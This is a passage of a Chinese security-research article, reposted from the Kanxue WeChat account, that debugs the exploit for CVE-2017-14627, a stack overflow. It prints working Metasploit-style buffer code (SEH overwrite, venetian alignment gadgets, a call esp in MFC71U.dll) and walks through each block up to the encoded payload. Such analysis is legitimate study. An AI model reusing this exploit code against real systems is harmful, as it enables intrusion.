buffer << "x5c" #pop esp
第三区块
#preparing RET opcode (c300c300)
buffer << "x25x7ex7e" #and eax,7e007e00
buffer << "x25x01x01" #and eax,01000100
buffer << "x35x7fx7f" #xor eax,7f007f00
buffer << "x05x44x44" #add eax,44004400
buffer << "x57" #push edi as padding, needed to align stack
buffer << "x50" #push eax
buffer << junk * target['Padding1'] #OS specific
第四区块
#custom venetian to reach shellcode
buffer << "x58" #pop eax
buffer << "x58" #pop eax
buffer << "x05x09x01" #depending OS add eax, 0x1000900 #
buffer << "x2dx01x01" #sub eax, 01000100, this will align eax to our buffer
buffer << "x50" #push eax
第五区块
#crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp
buffer << "x5C" #pop esp
buffer << "x58" #pop eax
buffer << "x05x53x7c" #add eax 7c005300 part of call esp
buffer << "x50" #push eax
buffer << junk * target['Padding2'] #OSspecific
buffer << "x7bx32" #part of call esp
第六区块
#preparing for jump to shellcode, placing in eax.
buffer << junk * 114 #junk
buffer << "x57" #push edi
buffer << "x58" #pop eax
buffer << "x05x0Ax01" #depending OS add eax, 0x1000A00
buffer << "x2dx01x01" #sub eax,01000100
buffer << nop #nop/inc edx
buffer << get_payload(payload.encoded)
buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added.
2、第一区块
当覆盖到0x00130000这个地址的时候触发异常进入0044002c执行:
此时堆栈情况如下,可以看到执行两次pop后ret到0x12EED4:
正好跳转到我们的覆盖的SEH结构上,0x61为popad,执行后提高了我们的esp 同时注意此时的edi为0012EED4。
3、第二区块
此区块可以等价于 mov eax,esp add eax,B00 mov esp,eax
4、第三区块
此时堆栈情况如下:
将0012EED4写入0012F651地址msf的解释是为了对齐堆栈。我们暂且不管这个操作,接着将C300C300写入0012F64D这个地址,貌似上面一切改变esp的操作都是为了让我们将 C300C300写入00126F4D这个地址。根据上面解释0xc3代表ret指令。我们在汇编窗口查看0012F64D+1这个地址,可以看到此汇编指令变成了ret。
5、第四个区块
可以看到此区块的作用是将0012F651地址中的0012EED4取出给eax,再将eax提升到0012F6D4后压入栈:
为什么要这么操作,还得接着向下分析。
6、第五个区块
pop esp,所以上一个区块是为了将eax给esp,此时esp为0012F6D4,此时堆栈情况如下:
之后执行pop eax是为了将0012F6D4里的0x0032007B取出给eax。
这里预先存放了0x0032007B。接着一顿操作将eax变为7C32537B后压入栈:
接下里一路执行直到0012F64E地址处的ret指令。执行ret指令跟进7C32537B地址发现这是一个call esp,而此时的esp是0012F6D8。
现在我们明白原来预先在0012F6D4这个地址里放入0x0032007B不是随便找的地址。我们既拿到了0x0032007B又把堆栈提高到了0012F6D4,之后的操作也是只是对堆栈进行小修改。
7、第六个区块
这里前两句可以理解成将edi赋值给eax,edi的值在哪来的,还记得最开始的时候的popad吗,那时候将edi变为0012EED4。接着向下走对eax一顿操作,经过一个nop后终于到达了我们的payload。此时eax和eip都指向我们的payload。查看此时payload发现已经进行了编码,看不出来什么东西。跟踪payload时会发现payload头部会有一个解码的程序,这块我就不过多赘述了,最后弹出计算器。
参考资料
https://www.exploit-db.com/exploits/45985
https://baike.baidu.com/item/Variant/4668832?fr=aladdin
看雪ID:DriverUnload
https://bbs.pediy.com/user-home-949068.htm
# 往期推荐
1、frida入门
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):CVE-2017-14627栈溢出漏洞及exploit的调试与分析